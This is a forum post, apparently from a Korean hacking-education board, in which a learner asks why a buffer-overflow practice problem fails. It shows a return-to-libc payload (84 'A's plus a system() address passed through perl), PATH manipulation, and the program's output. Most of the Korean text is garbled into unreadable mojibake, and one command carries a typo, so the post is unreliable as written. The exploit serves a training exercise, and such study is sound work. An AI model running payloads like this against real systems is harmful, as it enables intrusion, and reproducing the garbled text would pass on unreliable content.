½Ã½ºÅÛ ÇØÅ·

 1576, 1/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   deccj97
   BOF ÇÚµåºÏ ½Ã½ºÅÛ ÇØÅ· ¸¶Áö¸·¹®Á¦ Áú¹®ÀÔ´Ï´Ù

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1901 [º¹»ç]


¿ø·¡ ¼ø¼­°¡

$/bin/bash2
$export PATH=$PATH:.
ÇÑ ´ÙÀ½ , system()ÁÖ¼Ò ¾Ë¾Æ³»°í

$./vulm `perl -e 'printf"A"x84 . "\xe0\x8a\x05\x40"'`
ÀÌ·¸°Ô Ä¡¸é ¿ø·¡´Â
------------------------------------------------
your input is AAAA...AAA?@
sh: (ÀÌ»óÇѹ®ÀÚ) command not found
Segmentaion fault
------------------------------------------------
ÀÌ·¸°Ô ³ª¿À°í (ÀÌ»óÇѹ®ÀÚ)¸¦ 16Áø¼ö·Î ¹Ù²ã¼­
/bin/bash ·Î ¿¬°áµÇ´Â ÆÄÀÏÀ» ¸¸µé¾î¾ßÇϴµ¥

À§¿¡Ã³·³ ¾È³ª¿À°í Àú´Â
---------------------------------
your input is AAAA...AAA?@
Segmentation fault
---------------------------------
ÇÏ°í µð·ºÅ丮¿¡ (ÀÌ»óÇѹ®ÀÚ) ÆÄÀÏÀÌ »ý¼ºµÇ¹ö¸³´Ï´Ù;;

(ÀÌ»óÇѹ®ÀÚ) ÆÄÀÏ »èÁ¦Çϰí (ÀÌ»óÇѹ®ÀÚ)´Ù½Ã ¸¸µé¾î¼­
/bin/bash·Î ¿¬°áÇØÁÖ°í ´Ù½Ã

./vuln `perl -e 'printf"A"x84 . "\xe0\8a\x05\x40"'`

ÃÆ´Âµ¥ À̹ø¿£
----------------------------------------
your input is AAAAAA...AAA?@
sh: (ÀÌ»óÇѹ®ÀÚ) : Text file busy
Segmentation fault
---------------------------
¶ó°í ¶ß±¸¿ä...

´ä¿¡ ½áÀִ°Š±×´ë·Î Çߴµ¥ ¹» ºü¶ß¸°°ÇÁö, ´Ù¸¥¹®Á¦ÀÎÁö ¾Ë¼ö°¡¾ø³×¿ä
¸î½Ã°£Â° ¸Ó¸® ½Î¸Å°í °í¹ÎÇØºÃ´Âµ¥ ´äÀÌ ¾È³ª¿É´Ï´Ù µµ¿ÍÁÖ¼¼¿ä!

  Hit : 2757     Date : 2017/11/28 10:21



    
deccj97 ÇØ°á...Çß½À´Ï´Ù... Åм®... 2017/11/29